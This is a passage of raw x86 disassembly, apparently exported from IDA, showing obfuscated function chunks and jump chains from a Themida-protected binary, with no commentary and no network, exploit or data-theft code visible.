--------------------------------------------------------------------------- loc_5623ED: ; CODE XREF: sub_562ABA+5F4Dj add edi, ebx add edi, 7EFA652Eh push edx mov edx, 2CEC111Bh sub edi, edx pop edx mov ebx, [esp+42h+var_42] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+46h+var_46] pop esp xor edi, [esp+42h+var_42] xor [esp+42h+var_42], edi xor edi, [esp+42h+var_42] mov esp, [esp+42h+var_42] push 627Ah mov [esp+46h+var_46], esi jmp loc_571A07 ; --------------------------------------------------------------------------- loc_56242A: ; CODE XREF: sub_562ABA+6916j pop ebp add eax, edi pop edi add edx, eax mov eax, [esp+3Eh+var_3E] jmp loc_567722 ; --------------------------------------------------------------------------- loc_562438: ; CODE XREF: sub_562ABA-FACj sub eax, 0B51226Fh push [esp+12h+var_12] pop edx jmp loc_570314 ; --------------------------------------------------------------------------- loc_562446: ; CODE XREF: sub_562ABA-7EDj add ebx, 4 xchg ebx, [esp+0] pop esp pop edx sub eax, ebx push [esp+26h+var_28+2] mov ebx, [esp+2Ah+var_2C+2] jmp loc_56B689 ; --------------------------------------------------------------------------- loc_56245B: ; CODE XREF: sub_562ABA+4B07j mov ebx, edi pop edi or ecx, ebx push [esp+26h+var_28+2] pop ebx add esp, 4 push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+26h+var_28+2] pop esp mov [esp+22h+var_22], eax mov eax, 163D537Dh push ebx jmp loc_56C25D ; --------------------------------------------------------------------------- loc_562488: ; CODE XREF: sub_562ABA+DFBBj push 56E1h mov [esp+2Ah+var_2C+2], ecx sub esp, 4 mov [esp+0], esi mov esi, 308B0BD9h mov ecx, 1ED26318h add ecx, esi mov esi, [esp+0] add esp, 4 neg ecx sub ecx, 35A7EF3h push ebp push ecx mov ecx, 41CB3C1Ch jmp loc_571B56 ; --------------------------------------------------------------------------- loc_5624C2: ; CODE XREF: sub_562ABA+94D4j mov [esp+32h+var_32], edx jmp loc_56F8EE ; --------------------------------------------------------------------------- loc_5624CA: ; CODE XREF: sub_562ABA-4A4j add ebp, 4 xchg ebp, [esp+32h+var_32] mov esp, [esp+32h+var_32] push ecx push eax mov eax, esp push edx mov edx, 38A53519h xchg ebp, edx push ebp neg [esp+42h+var_42] pop ebp xchg ebp, edx xor edx, 0C75ACAE3h add eax, edx pop edx push edi mov edi, 4 sub eax, edi mov edi, [esp+3Eh+var_3E] add esp, 4 xchg eax, [esp+3Ah+var_3A] pop esp mov [esp+36h+var_36], esp add [esp+36h+var_36], 4 pop ecx jmp loc_55F736 ; --------------------------------------------------------------------------- loc_562514: ; CODE XREF: sub_562ABA+4B8j mov edx, 3A5C2E60h add edi, edx pop edx jmp loc_57130A ; --------------------------------------------------------------------------- loc_562521: ; CODE XREF: sub_562ABA+6C92j mov [esp+0], edi mov edi, esp push ecx mov ecx, 22406035h inc ecx xor ecx, 183C7026h push eax mov eax, 0F8872FCh dec eax and eax, 1340251Fh jmp loc_5706AF ; --------------------------------------------------------------------------- loc_562544: ; CODE XREF: sub_562ABA+CC79j pop esi push esi mov esi, 98C69F46h jmp loc_55E82B ; --------------------------------------------------------------------------- loc_562550: ; CODE XREF: sub_562ABA+DA2Dj inc eax dec eax jmp loc_5606C8 ; --------------------------------------------------------------------------- loc_562557: ; CODE XREF: sub_562ABA+656Bj sub ebx, 1CED61BBh xor eax, ebx pop ebx xor eax, 32762369h neg eax shr eax, 1 jmp loc_5669F1 ; --------------------------------------------------------------------------- loc_56256E: ; CODE XREF: sub_562ABA+63BAj push eax mov eax, 30D32736h jmp loc_5617C0 ; --------------------------------------------------------------------------- loc_562579: ; CODE XREF: sub_562ABA+72Aj mov ch, al mov bl, ch pop ecx pop eax add al, bl mov bx, [esp+0] jmp loc_56EE96 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- mov ax, fs:[edx] push small 58BFh mov [esp], ax jmp loc_55E09F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_56259B: ; CODE XREF: sub_562ABA-1CB9j push 5922h mov [esp+46h+var_46], esi jmp loc_562307 ; --------------------------------------------------------------------------- loc_5625A8: ; CODE XREF: sub_562ABA-255Cj sub al, dh pop edx add al, 1Ah jmp loc_565A2A ; --------------------------------------------------------------------------- loc_5625B2: ; CODE XREF: sub_562ABA+D0A8j add esp, 4 push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+2Ah+var_2C+2] jmp loc_5601EF ; --------------------------------------------------------------------------- loc_5625CC: ; CODE XREF: sub_562ABA+901Bj pop ebp push ebp mov ebp, 2 add ecx, ebp pop ebp xor ecx, [esp+26h+var_28+2] xor [esp+26h+var_28+2], ecx xor ecx, [esp+26h+var_28+2] jmp loc_56B608 ; --------------------------------------------------------------------------- loc_5625E4: ; CODE XREF: sub_562ABA+DCCAj neg eax jmp loc_570145 ; --------------------------------------------------------------------------- loc_5625EB: ; CODE XREF: sub_562ABA+1B94j mov ecx, 4 add ebx, ecx pop ecx jmp loc_5695F9 ; --------------------------------------------------------------------------- loc_5625F8: ; CODE XREF: sub_562ABA+8684j pop esp jmp loc_5689F2 ; --------------------------------------------------------------------------- loc_5625FE: ; CODE XREF: sub_562ABA+6761j pop esp push ebx mov bl, 3Fh mov dl, 8 sub dl, bl jmp loc_56E938 ; --------------------------------------------------------------------------- loc_56260B: ; CODE XREF: sub_562ABA+700Ej mov [esp+1Eh+var_1E], ebp mov ebp, esp add ebp, 4 jmp loc_5624CA ; --------------------------------------------------------------------------- loc_56261B: ; CODE XREF: sub_562ABA+C7F0j mov ecx, [esp+1Eh+var_1E] jmp loc_56EB51 ; --------------------------------------------------------------------------- loc_562623: ; CODE XREF: sub_562ABA+1BB8j sub [esp+1Eh+var_16], edi pop edi add [esp+1Ah+var_16], 3615764h jmp loc_55FB37 ; --------------------------------------------------------------------------- loc_562635: ; CODE XREF: sub_562ABA-3546j push 6CB9h mov [esp-0Ch+arg_8], ebx jmp loc_55EB6D ; --------------------------------------------------------------------------- loc_562642: ; CODE XREF: sub_562ABA+BE6Cj mov [esp-0Ch+arg_8], eax push ebp jmp loc_562D5B ; --------------------------------------------------------------------------- loc_56264B: ; CODE XREF: sub_562ABA+CBB3j mov [esp-8+arg_4], ecx mov ch, 76h add dl, 23h sub dl, ch sub dl, 23h pop ecx push dx mov dl, 79h add al, dl jmp loc_56AB54 ; --------------------------------------------------------------------------- loc_562664: ; CODE XREF: sub_562ABA+D045j neg ebp add ebp, 6E63103Fh xchg edx, ebp not edx xchg edx, ebp inc ebp or ebp, 0BA35305h jmp loc_561F2A ; --------------------------------------------------------------------------- loc_56267E: ; CODE XREF: sub_562ABA+E723j mov esp, [esp-0Ah+arg_4+2] push esi mov esi, 2D004C04h add ebx, esi pop esi jmp loc_5666B4 ; --------------------------------------------------------------------------- loc_56268F: ; CODE XREF: sub_562ABA+4A13j sub esi, 2B4DF89Bh add edi, esi pop esi add ebx, edi jmp loc_568E17 ; --------------------------------------------------------------------------- loc_56269F: ; CODE XREF: sub_562ABA-1102j mov ebp, 0E3FD7EBEh add edi, 4A1016B9h sub edi, ebp sub edi, 4A1016B9h pop ebp and edx, edi pop edi push ecx mov ecx, 73282AC5h jmp loc_55EE89 ; --------------------------------------------------------------------------- loc_5626C1: ; CODE XREF: sub_562ABA+93D4j mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+16h+var_16] pop esp mov [esp+12h+var_12], edx jmp loc_564002 ; --------------------------------------------------------------------------- loc_5626DB: ; CODE XREF: sub_562ABA+E9E8j pop ecx add edi, eax pop eax add edi, 69925EE7h add edi, 0D2DDB6DDh add ebx, edi jmp loc_56EE81 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FC41 loc_5626F2: ; CODE XREF: sub_55FC41+4j push esp pop [esp+0Ch+var_C] push esi jmp loc_55EE73 ; END OF FUNCTION CHUNK FOR sub_55FC41 ; --------------------------------------------------------------------------- lodsb push 3A4Eh mov [esp], ebx sub esp, 4 jmp loc_563BDB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_56270D: ; CODE XREF: sub_562ABA+3BBDj pop edi jmp loc_55E09F ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FCA5 loc_562713: ; CODE XREF: sub_55FCA5+44Aj mov esi, 50B03951h mov ebp, 2E2617BCh xor ebp, esi pop esi xor esi, ebp pop ebp dec esi push esi jmp loc_56B0C5 ; END OF FUNCTION CHUNK FOR sub_55FCA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_56272A: ; CODE XREF: sub_562ABA+BDBj push dword ptr [edi+eax*4] mov eax, [esp+0Ah+var_C+2] jmp loc_561B9D ; --------------------------------------------------------------------------- loc_562735: ; CODE XREF: sub_562ABA+CE2Fj pop eax push esi mov esi, esp jmp loc_569365 ; --------------------------------------------------------------------------- loc_56273E: ; CODE XREF: sub_562ABA+DEC8j push eax mov eax, 4 mov edi, eax pop eax mov edx, edi pop edi sub edi, 786449EBh jmp loc_566CA8 ; --------------------------------------------------------------------------- loc_562755: ; CODE XREF: sub_562ABA-4520j mov [esp+36h+var_36], edx sub esp, 4 jmp loc_5676F7 ; --------------------------------------------------------------------------- loc_562763: ; CODE XREF: sub_562ABA+F63Ej push esi inc [esp+3Eh+var_3E] pop esi or esi, 2C1C1022h push 55F9h mov [esp+3Eh+var_3E], ebp mov ebp, 48F85C5Bh inc ebp jmp loc_56463C ; --------------------------------------------------------------------------- loc_562781: ; CODE XREF: sub_562ABA+1430j push edi mov edi, 4B11308Eh jmp loc_5612CF ; --------------------------------------------------------------------------- loc_56278C: ; CODE XREF: sub_562ABA+3905j push 403D1172h pop ebp push edi mov edi, 0D2B259Dh sub ebp, edi jmp loc_562DBC ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_56279F proc near ; CODE XREF: sub_562ABA+1D57j var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], edi push esp jmp loc_56B5E6 sub_56279F endp ; =============== S U B R O U T I N E ======================================= sub_5627AB proc near ; CODE XREF: sub_562ABA+2BDj push ebp push edi pop ebp jmp loc_56F656 sub_5627AB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_5627B3: ; CODE XREF: sub_562ABA-11D5j pop ebx add esp, 4 pop ecx jmp loc_55E09F ; --------------------------------------------------------------------------- loc_5627C0: ; CODE XREF: sub_562ABA+318j pop eax jmp loc_56F6C2 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- loc_5627C6: ; DATA XREF: Themida_:0055DDECo pop small word ptr [edx] jmp loc_55E09F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_5627CE: ; CODE XREF: sub_562ABA+676j add esp, 4 jmp sub_55E85D ; --------------------------------------------------------------------------- loc_5627D9: ; CODE XREF: sub_562ABA+4025j mov eax, esi pop esi sub esi, eax pop eax sub esi, 4510091Fh jmp loc_56E2D2 ; --------------------------------------------------------------------------- loc_5627EA: ; CODE XREF: sub_562ABA+72A1j mov edx, 0C18CA2D6h jmp loc_55F83D ; --------------------------------------------------------------------------- loc_5627F4: ; CODE XREF: sub_562ABA+7984j neg edi xchg edi, ebx push 3F46h mov [esp+1Ah+var_1A], edi jmp loc_5721D4 ; --------------------------------------------------------------------------- loc_562805: ; CODE XREF: sub_562ABA+52ADj pop ebp sub esi, 4 xor esi, [esp+16h+var_16] xor [esp+16h+var_16], esi xor esi, [esp+16h+var_16] pop esp mov [esp+12h+var_12], ecx mov ecx, esp push edi push ecx mov ecx, 3E003712h mov edi, 0C1FFC8F2h add edi, ecx pop ecx add ecx, edi push [esp+16h+var_16] jmp loc_567A4B ; --------------------------------------------------------------------------- loc_562831: ; CODE XREF: sub_562ABA+9204j push ecx mov ecx, 0FFFFFFFFh sub edi, ecx pop ecx push eax mov eax, 78925B6Ah push esi jmp loc_56976B ; --------------------------------------------------------------------------- loc_562846: ; CODE XREF: sub_562ABA+3EEj dec ecx and ecx, 0CEF0336h jmp loc_563E75 ; --------------------------------------------------------------------------- loc_562852: ; CODE XREF: sub_562ABA+EF18j mov edi, [esp+22h+var_22] jmp loc_5629AF ; --------------------------------------------------------------------------- loc_56285A: ; CODE XREF: sub_562ABA+D423j add [esp+22h+var_22], 4 pop ecx add ecx, 4 add ecx, 4 xor ecx, [esp+1Eh+var_1E] xor [esp+1Eh+var_1E], ecx xor ecx, [esp+1Eh+var_1E] pop esp mov edi, [esp+1Ah+var_1A] push 2556h mov [esp+1Eh+var_1E], eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp+1Eh+var_1E] pop esp pop esi push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_55E4B6 ; --------------------------------------------------------------------------- loc_5628A3: ; CODE XREF: sub_562ABA+9ACAj pop ebx jmp loc_56B084 ; --------------------------------------------------------------------------- loc_5628A9: ; CODE XREF: sub_562ABA-D69j mov dh, ah mov ch, dh pop edx mov eax, [esp+3Ah+var_3A] add esp, 4 jmp loc_55EC97 ; --------------------------------------------------------------------------- loc_5628BC: ; CODE XREF: sub_562ABA+BCDFj pop esi xor edi, ecx pop ecx inc edi jmp loc_569C48 ; --------------------------------------------------------------------------- loc_5628C6: ; CODE XREF: sub_562ABA+2667j mov ebp, 4 add eax, ebp mov ebp, [esp+0] jmp loc_56B43C ; --------------------------------------------------------------------------- loc_5628D5: ; CODE XREF: sub_562ABA-13DFj pop ebx xor ecx, [esp+26h+var_28+2] jmp loc_56C9AA ; --------------------------------------------------------------------------- loc_5628DE: ; CODE XREF: sub_562ABA+6385j mov eax, esp add eax, 4 sub esp, 4 mov [esp+2Ah+var_2C+2], ecx push ebx mov ebx, 29C50F71h sub esp, 4 jmp loc_56394E ; --------------------------------------------------------------------------- loc_5628FF: ; CODE XREF: sub_562ABA+C62Fj add [esp+4], esi push [esp+32h+var_32] pop esi jmp loc_560FA4 ; --------------------------------------------------------------------------- loc_56290C: ; CODE XREF: sub_562ABA+E097j mov bh, 0C8h jmp loc_56874E ; --------------------------------------------------------------------------- loc_562913: ; CODE XREF: sub_562ABA-412Ej mov [esp+26h+var_28+2], edx push eax push ecx mov ecx, 0F410056h sub ecx, 0BF63E9C0h mov eax, ecx jmp loc_56EB4B ; --------------------------------------------------------------------------- loc_56292A: ; CODE XREF: sub_562ABA+23C9j mov edx, [esp+0] add esp, 4 push esi mov esi, 4 add edx, 0B88215Eh add edx, esi sub edx, 0B88215Eh pop esi add edx, 4 xchg edx, [esp+2Ah+var_2C+2] jmp loc_56AAA7 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- push dword ptr [edi+40h] jmp loc_5677DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_56295E: ; CODE XREF: sub_562ABA+ED52j add ebx, 67E05C46h sub ebx, 22C86319h add ebx, 370032D6h sub esp, 4 mov [esp], edx jmp loc_56ED93 ; --------------------------------------------------------------------------- loc_56297E: ; CODE XREF: sub_562ABA+DABCj sub bl, 0C3h push eax mov al, 0E5h neg al sub al, 4Fh add bl, al pop eax mov eax, [esp+0] add esp, 4 xor bl, 79h sub ch, bl jmp loc_5677F1 ; --------------------------------------------------------------------------- loc_56299E: ; CODE XREF: sub_562ABA+DD67j dec bl push dx mov dh, bl not dh mov bl, dh pop dx jmp loc_564D1F ; --------------------------------------------------------------------------- loc_5629AF: ; CODE XREF: sub_562ABA-265j add esp, 4 sub esp, 4 mov [esp+22h+var_22], ebp mov ebp, esp sub esp, 4 mov [esp+26h+var_28+2], ebx mov ebx, 4 add ebp, 507A2C95h add ebp, ebx sub ebp, 507A2C95h mov ebx, [esp+26h+var_28+2] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+2Ah+var_2C+2] pop esp push esi mov esi, 4 add ebp, 1CBA4326h add ebp, esi sub ebp, 1CBA4326h pop esi xchg ebp, [esp+26h+var_28+2] mov esp, [esp+26h+var_28+2] add ebx, 3E530994h push ecx jmp loc_56608E ; --------------------------------------------------------------------------- loc_562A13: ; CODE XREF: sub_562ABA-43C7j push 4BC0h mov [esp+26h+var_28+2], ecx mov ecx, 4 sub eax, 66CB7CACh sub eax, 0C296BB2h add eax, ecx jmp loc_56C5FF ; --------------------------------------------------------------------------- loc_562A31: ; CODE XREF: sub_562ABA+7CDFj add [esp+26h+var_28+2], 6F5B7FC9h mov ebp, [esp+26h+var_28+2] jmp loc_56B915 ; --------------------------------------------------------------------------- loc_562A40: ; CODE XREF: sub_562ABA+9C87j push [esp+26h+var_28+2] push [esp+2Ah+var_2C+2] push dword ptr [esp+0] pop ecx jmp loc_5701FD ; --------------------------------------------------------------------------- loc_562A4F: ; CODE XREF: sub_562ABA+DA4j add ebx, 4 sub ebx, 4 xchg ebx, [esp+0] pop esp jmp loc_56FAD8 ; --------------------------------------------------------------------------- loc_562A61: ; CODE XREF: sub_562ABA+E1B6j push eax mov eax, 4 add edx, eax pop eax add edx, 4 xchg edx, [esp+2Ah+var_2C+2] mov esp, [esp+2Ah+var_2C+2] pop [esp+2Ah+var_2C+2] jmp loc_562300 ; --------------------------------------------------------------------------- loc_562A7B: ; CODE XREF: sub_562ABA+CE21j pop eax or ecx, 29964537h jmp loc_570ED5 ; --------------------------------------------------------------------------- loc_562A87: ; CODE XREF: sub_562ABA+F973j mov esp, [esp+22h+var_22] jmp loc_56A825 ; --------------------------------------------------------------------------- loc_562A8F: ; CODE XREF: sub_562ABA+3635j not ebx jmp loc_56DBE2 ; --------------------------------------------------------------------------- loc_562A96: ; CODE XREF: sub_562ABA+C528j push 4E1Ah mov [esp+26h+var_28+2], esi jmp loc_569249 ; --------------------------------------------------------------------------- loc_562AA3: ; CODE XREF: sub_562ABA+C443j mov cl, 0A8h add cl, 0A4h dec cl sub cl, 0F6h sub al, cl pop ecx jmp loc_572790 ; --------------------------------------------------------------------------- loc_562AB5: ; CODE XREF: sub_562ABA+C694j jmp loc_55E09F ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_562ABA proc near ; DATA XREF: Themida_:0055E054o var_70 = dword ptr -70h var_6A = dword ptr -6Ah var_66 = dword ptr -66h var_62 = dword ptr -62h var_5E = dword ptr -5Eh var_5A = dword ptr -5Ah var_56 = dword ptr -56h var_52 = dword ptr -52h var_4E = dword ptr -4Eh var_4A = dword ptr -4Ah var_46 = dword ptr -46h var_42 = dword ptr -42h var_3E = dword ptr -3Eh var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_32 = dword ptr -32h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_22 = dword ptr -22h var_1E = dword ptr -1Eh var_1A = dword ptr -1Ah var_16 = dword ptr -16h var_12 = dword ptr -12h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_18 = dword ptr 1Ch arg_1C = dword ptr 20h arg_20 = dword ptr 24h arg_24 = dword ptr 28h arg_28 = dword ptr 2Ch arg_2C = dword ptr 30h arg_32 = dword ptr 36h arg_38 = dword ptr 3Ch arg_3C = dword ptr 40h arg_40 = dword ptr 44h arg_44 = dword ptr 48h arg_48 = dword ptr 4Ch arg_4C = dword ptr 50h arg_52 = dword ptr 56h arg_56 = dword ptr 5Ah arg_5A = dword ptr 5Eh arg_5E = dword ptr 62h arg_62 = dword ptr 66h arg_66 = dword ptr 6Ah ; FUNCTION CHUNK AT 0055E09F SIZE 00000435 BYTES ; FUNCTION CHUNK AT 0055E4F0 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0055E513 SIZE 0000008C BYTES ; FUNCTION CHUNK AT 0055E5C2 SIZE 00000035 BYTES ; FUNCTION CHUNK AT 0055E61A SIZE 0000004F BYTES ; FUNCTION CHUNK AT 0055E676 SIZE 000000B7 BYTES ; FUNCTION CHUNK AT 0055E73D SIZE 00000070 BYTES ; FUNCTION CHUNK AT 0055E7B9 SIZE 000000A4 BYTES ; FUNCTION CHUNK AT 0055E895 SIZE 000000B3 BYTES ; FUNCTION CHUNK AT 0055E952 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0055E987 SIZE 00000047 BYTES ; FUNCTION CHUNK AT 0055E9DF SIZE 000002D8 BYTES ; FUNCTION CHUNK AT 0055ECE0 SIZE 00000193 BYTES ; FUNCTION CHUNK AT 0055EE7D SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0055EE98 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0055EEC5 SIZE 00000044 BYTES ; FUNCTION CHUNK AT 0055EF14 SIZE 00000078 BYTES ; FUNCTION CHUNK AT 0055EF9B SIZE 000000ED BYTES ; FUNCTION CHUNK AT 0055F091 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0055F0C9 SIZE 0000007A BYTES ; FUNCTION CHUNK AT 0055F15C SIZE 0000008C BYTES ; FUNCTION CHUNK AT 0055F1F5 SIZE 0000004F BYTES ; FUNCTION CHUNK AT 0055F26D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0055F28E SIZE 00000084 BYTES ; FUNCTION CHUNK AT 0055F325 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0055F360 SIZE 00000032 BYTES ; FUNCTION CHUNK AT 0055F3A1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055F3D7 SIZE 00000139 BYTES ; FUNCTION CHUNK AT 0055F529 SIZE 00000137 BYTES ; FUNCTION CHUNK AT 0055F667 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0055F692 SIZE 000000E5 BYTES ; FUNCTION CHUNK AT 0055F7BB SIZE 0000005D BYTES ; FUNCTION CHUNK AT 0055F826 SIZE 000001BA BYTES ; FUNCTION CHUNK AT 0055F9E9 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0055FA25 SIZE 00000204 BYTES ; FUNCTION CHUNK AT 0055FC3C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0055FC4A SIZE 0000005B BYTES ; FUNCTION CHUNK AT 0056016D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005601DA SIZE 00000070 BYTES ; FUNCTION CHUNK AT 00560253 SIZE 0000006F BYTES ; FUNCTION CHUNK AT 005602DF SIZE 0000021F BYTES ; FUNCTION CHUNK AT 00560505 SIZE 000000A7 BYTES ; FUNCTION CHUNK AT 005605CA SIZE 000000D7 BYTES ; FUNCTION CHUNK AT 005606AD SIZE 000000AA BYTES ; FUNCTION CHUNK AT 0056075D SIZE 0000006B BYTES ; FUNCTION CHUNK AT 005607F5 SIZE 0000003B BYTES ; FUNCTION CHUNK AT 00560836 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056085F SIZE 000000B7 BYTES ; FUNCTION CHUNK AT 00560920 SIZE 0000007B BYTES ; FUNCTION CHUNK AT 005609AD SIZE 0000003E BYTES ; FUNCTION CHUNK AT 00560A01 SIZE 000001A0 BYTES ; FUNCTION CHUNK AT 00560BBF SIZE 00000183 BYTES ; FUNCTION CHUNK AT 00560D48 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00560D5D SIZE 000000D2 BYTES ; FUNCTION CHUNK AT 00560E3C SIZE 00000085 BYTES ; FUNCTION CHUNK AT 00560EC7 SIZE 000000B9 BYTES ; FUNCTION CHUNK AT 00560F8D SIZE 000000FD BYTES ; FUNCTION CHUNK AT 005610B3 SIZE 0000007B BYTES ; FUNCTION CHUNK AT 00561150 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056116F SIZE 00000064 BYTES ; FUNCTION CHUNK AT 005611EE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056121E SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00561249 SIZE 000000D3 BYTES ; FUNCTION CHUNK AT 00561333 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0056138C SIZE 0000010C BYTES ; FUNCTION CHUNK AT 005614A1 SIZE 00000345 BYTES ; FUNCTION CHUNK AT 0056181C SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056186A SIZE 000000B7 BYTES ; FUNCTION CHUNK AT 00561928 SIZE 00000235 BYTES ; FUNCTION CHUNK AT 00561B9D SIZE 000001B9 BYTES ; FUNCTION CHUNK AT 00561D6E SIZE 000000AA BYTES ; FUNCTION CHUNK AT 00561E3E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00561E9B SIZE 00000073 BYTES ; FUNCTION CHUNK AT 00561F2A SIZE 00000056 BYTES ; FUNCTION CHUNK AT 00561F88 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 00561FEF SIZE 0000003F BYTES ; FUNCTION CHUNK AT 0056203F SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056205B SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056206A SIZE 0000003F BYTES ; FUNCTION CHUNK AT 005620B4 SIZE 00000039 BYTES ; FUNCTION CHUNK AT 005620F5 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00562117 SIZE 00000065 BYTES ; FUNCTION CHUNK AT 0056219A SIZE 0000008E BYTES ; FUNCTION CHUNK AT 00562230 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0056225F SIZE 00000073 BYTES ; FUNCTION CHUNK AT 005622DD SIZE 0000004A BYTES ; FUNCTION CHUNK AT 0056233B SIZE 00000097 BYTES ; FUNCTION CHUNK AT 005623DB SIZE 000001AF BYTES ; FUNCTION CHUNK AT 0056259B SIZE 00000157 BYTES ; FUNCTION CHUNK AT 0056270D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056272A SIZE 00000075 BYTES ; FUNCTION CHUNK AT 005627B3 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005627CE SIZE 00000188 BYTES ; FUNCTION CHUNK AT 0056295E SIZE 0000015C BYTES ; FUNCTION CHUNK AT 00571CEB SIZE 00000110 BYTES ; FUNCTION CHUNK AT 00571E04 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00571E3D SIZE 000000BC BYTES ; FUNCTION CHUNK AT 00571F0F SIZE 00000037 BYTES ; FUNCTION CHUNK AT 00571F4F SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00571F7C SIZE 0000005B BYTES ; FUNCTION CHUNK AT 00571FE0 SIZE 00000075 BYTES ; FUNCTION CHUNK AT 0057205F SIZE 00000058 BYTES ; FUNCTION CHUNK AT 005720C6 SIZE 00000129 BYTES ; FUNCTION CHUNK AT 00572207 SIZE 000000B0 BYTES ; FUNCTION CHUNK AT 005722CB SIZE 000002C6 BYTES ; FUNCTION CHUNK AT 005725CD SIZE 00000069 BYTES ; FUNCTION CHUNK AT 0057263C SIZE 000000D8 BYTES ; FUNCTION CHUNK AT 00572737 SIZE 000001A9 BYTES ; FUNCTION CHUNK AT 005728E9 SIZE 0000015B BYTES ; FUNCTION CHUNK AT 00572A5A SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00572A87 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00572AA1 SIZE 000000D4 BYTES ; FUNCTION CHUNK AT 00572BA2 SIZE 00000060 BYTES ; FUNCTION CHUNK AT 00572C3F SIZE 0000001B BYTES push ebx mov ebx, esp jmp loc_571C96 ; --------------------------------------------------------------------------- loc_562AC2: ; CODE XREF: sub_562ABA+750Fj mov ebp, 266831B6h push ebx push 0FFFFFFFFh pop ebx sub ebp, ebx jmp loc_570B1B ; --------------------------------------------------------------------------- loc_562AD5: ; CODE XREF: sub_562ABA+C898j sub al, bl add al, 5 sub al, 3 push 9Ch mov [esp+0], ecx jmp loc_568561 ; --------------------------------------------------------------------------- loc_562AE8: ; CODE XREF: sub_562ABA-E81j add ebx, eax pop eax jmp loc_560CD9 ; --------------------------------------------------------------------------- loc_562AF0: ; CODE XREF: sub_562ABA+F25Fj mov cl, 0DCh push edx jmp loc_565798 ; --------------------------------------------------------------------------- loc_562AF8: ; CODE XREF: sub_562ABA-3D51j xchg eax, [esp+16h+var_16] jmp loc_55E599 ; --------------------------------------------------------------------------- loc_562B00: ; CODE XREF: sub_562ABA+A242j push edi push 6539472Ch jmp loc_56141E ; --------------------------------------------------------------------------- loc_562B0B: ; CODE XREF: sub_5721EF+13j mov ecx, esp jmp loc_5671E3 ; --------------------------------------------------------------------------- loc_562B12: ; CODE XREF: sub_562ABA-30B0j mov eax, 47513D35h neg eax add eax, 776517BBh shl eax, 4 dec eax jmp loc_56D498 ; --------------------------------------------------------------------------- push edx push esp jmp loc_56E910 ; --------------------------------------------------------------------------- loc_562B2E: ; CODE XREF: sub_562ABA+199Ej mov edx, [esp+1Ah+var_1A] add esp, 4 jmp loc_55F30A ; --------------------------------------------------------------------------- loc_562B3C: ; CODE XREF: sub_562ABA+7A8Fj shl ecx, 8 not ecx xor ecx, 0F1EABB87h mov edx, ecx jmp loc_5705B5 ; --------------------------------------------------------------------------- loc_562B4E: ; CODE XREF: sub_562ABA+D8A8j sub esi, 1E0F5BA4h add esi, edi add esi, 1E0F5BA4h pop edi push eax mov eax, 4 add esi, 4510091Fh jmp loc_566C0A ; --------------------------------------------------------------------------- loc_562B6E: ; CODE XREF: sub_562ABA+1047j push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+1Ah+var_1A] pop esp mov [esp+16h+var_16], ebp jmp loc_566D1C ; --------------------------------------------------------------------------- loc_562B89: ; CODE XREF: sub_562ABA+816Dj pop esp mov 